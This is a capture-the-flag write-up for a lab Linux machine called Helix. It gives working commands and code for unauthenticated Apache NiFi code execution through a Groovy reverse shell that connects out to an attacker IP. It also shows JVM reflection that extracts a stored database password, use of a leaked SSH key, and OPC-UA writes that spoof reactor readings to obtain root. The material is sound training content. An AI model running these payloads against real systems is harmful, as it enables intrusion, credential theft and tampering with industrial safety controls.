Overview
Helix is a medium Linux machine themed around industrial control systems. The attack chain covers virtual host discovery, unauthenticated Apache NiFi RCE via a Groovy ExecuteScript processor, credential extraction from a live JVM heap using Java reflection, SSH key recovery from a NiFi support bundle, and privilege escalation by writing to an OPC-UA server to trigger a dynamic sudo rule from a root-owned safety controller.
Reconnaissance
Nmap
nmap --privileged -sC -sV -T4 -p- --min-rate 5000 -oA nmap 10.129.245.123
Two ports open:
- Port 22: OpenSSH 8.9p1 (Ubuntu)
- Port 80: nginx 1.18.0, redirects to
http://helix.htb/
Virtual Host Discovery
ffuf -u http://helix.htb/ \
-H "Host: FUZZ.helix.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs <wildcard_size>
Result: flow.helix.htb — the only real vhost. Added both to /etc/hosts.
Foothold — Apache NiFi Unauthenticated RCE
Browsing to http://flow.helix.htb/nifi/ reveals Apache NiFi 1.21.0 with no authentication configured. NiFi allows unauthenticated users to create and run ExecuteScript processors containing arbitrary Groovy code.
Exploit Steps
Get the root process group ID from the NiFi API:
curl -s http://flow.helix.htb/nifi-api/process-groups/root \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])"
Create an ExecuteScript processor via the API, configure it with a Groovy reverse shell payload, then start it:
def cmd = ["/bin/bash", "-c",
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.23 4446 >/tmp/f"
].execute()
cmd.waitFor()
Key requirements that aren't obvious from the docs:
Script Enginemust be"Groovy"with capital G- Run state must be
"RUNNING", not"RUN" autoTerminatedRelationshipsmust includesuccessandfailureor the processor won't start
This gives a shell as nifi.
Credential Extraction via JVM Reflection
Inside /opt/nifi-1.21.0/conf/flow.xml.gz there is an AES-GCM encrypted H2 database password (enc{...}) for user operator. Standard PBKDF2/AES-GCM decryption fails because NiFi uses Additional Authenticated Data (component ID concatenated with the property name) when constructing the GCM tag — something not documented publicly.
Rather than breaking the encryption, we read the plaintext directly from the running JVM. NiFi has already decrypted the password internally to establish the H2 connection. A Groovy processor running inside the same JVM can walk the Java reflection chain to reach it:
// Unwrap the dynamic proxy wrapping the controller service
def hField = java.lang.reflect.Proxy.getDeclaredField("h")
hField.setAccessible(true)
def handler = hField.get(svc)
def origField = handler.getClass().getDeclaredField("originalService")
origField.setAccessible(true)
def realSvc = origField.get(handler)
// Walk class hierarchy to find BasicDataSource
def dsField = null
def clazz = realSvc.getClass()
while (clazz != null && dsField == null) {
try { dsField = clazz.getDeclaredField("dataSource") } catch(e) {}
clazz = clazz.getSuperclass()
}
dsField.setAccessible(true)
def ds = dsField.get(realSvc)
println ds.getUsername() + " : " + ds.getPassword()
Result: operator : R7qZ9L3xKM2W8pFYcA — the H2 database password. Not the Linux password, but useful for confirming the operator account exists.
SSH Access as operator
Enumerating the NiFi directory tree uncovers a backup SSH key left in a support bundle:
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
chmod 600 operator_id_ed25519.bak
ssh -i operator_id_ed25519.bak [email protected]
User flag retrieved from ~/user.txt.
Privilege Escalation — OPC-UA ICS Exploitation
Internal Service Discovery
ss -tlnp
Two interesting internal ports:
- Port 4840 — OPC-UA server at
opc.tcp://127.0.0.1:4840/helix/ - Port 8081 — Helix HMI dashboard (served by
helix-hmiaswww-data)
Three ICS binaries are running:
/opt/helix/bin/helix-plcas userplc— simulates the reactor/opt/helix/bin/helix-safetyasroot— monitors OPC-UA values/opt/helix/bin/helix-hmiaswww-data— serves the dashboard
HMI Analysis
curl -s http://127.0.0.1:8081/
The Reactor HMI shows live temperature (~284°C) and pressure (~69 bar). A note explains a Privileged Maintenance Window opens when temperature ≥ 295°C or pressure ≥ 73 bar, while TripActive remains false. Checking /etc/sudoers.d/helix-maint confirms the safety controller dynamically writes a sudoers rule when this condition is met.
OPC-UA Node Enumeration
pip3 install asyncua --user
import asyncio
from asyncua import Client
async def main():
async with Client("opc.tcp://127.0.0.1:4840/helix/") as c:
plant = c.get_node("ns=2;i=1")
# Relevant nodes:
# ns=2;i=3 TemperatureRaw — read-only
# ns=2;i=4 Temperature — read-only
# ns=2;i=5 Pressure — read-only
# ns=2;i=6 CalibrationOffset — writable (Double)
# ns=2;i=12 Mode — writable (String)
# ns=2;i=13 TestOverride — writable (Boolean)
asyncio.run(main())
Triggering the Maintenance Window
CalibrationOffset (ns=2;i=6) is writable by the operator role. Adding 20°C to the calibration offset pushes the displayed temperature from ~284°C to ~304°C, above the 295°C threshold. Critically, this must be written as a Double — using Float raises a BadTypeMismatch error.
import asyncio
from asyncua import Client
from asyncua.ua import DataValue, Variant, VariantType
async def main():
async with Client("opc.tcp://127.0.0.1:4840/helix/") as c:
await c.get_node("ns=2;i=6").write_value(
DataValue(Variant(20.0, VariantType.Double)))
await c.get_node("ns=2;i=12").write_value(
DataValue(Variant("MAINTENANCE", VariantType.String)))
await c.get_node("ns=2;i=13").write_value(
DataValue(Variant(True, VariantType.Boolean)))
asyncio.run(main())
Once helix-safety detects the hazardous condition it writes a temporary sudoers entry:
sudo -l
# (root) NOPASSWD: /usr/local/sbin/helix-maint-console
Root Shell
The window stays open for roughly 60 seconds. Trigger and immediately run the maintenance console:
python3 /tmp/trigger.py && sleep 1 && sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 37 seconds
root@helix:~#
Root flag retrieved from /root/root.txt.
Key Takeaways
NiFi's enc{...} values use AES-GCM with the component ID and property name as AAD — brute-forcing the key alone will always fail. But the JVM reflection approach sidesteps crypto entirely: if a service has decrypted something into memory, you can read it from inside the same process without knowing the key at all.
The OPC-UA privilege escalation is a good example of ICS attack surface on CTF machines. The safety controller trusts the OPC-UA values without validating who wrote them — a standard ICS design flaw. Operator-level write access to a calibration offset is enough to trigger a hazardous condition, which in this case hands over a root shell.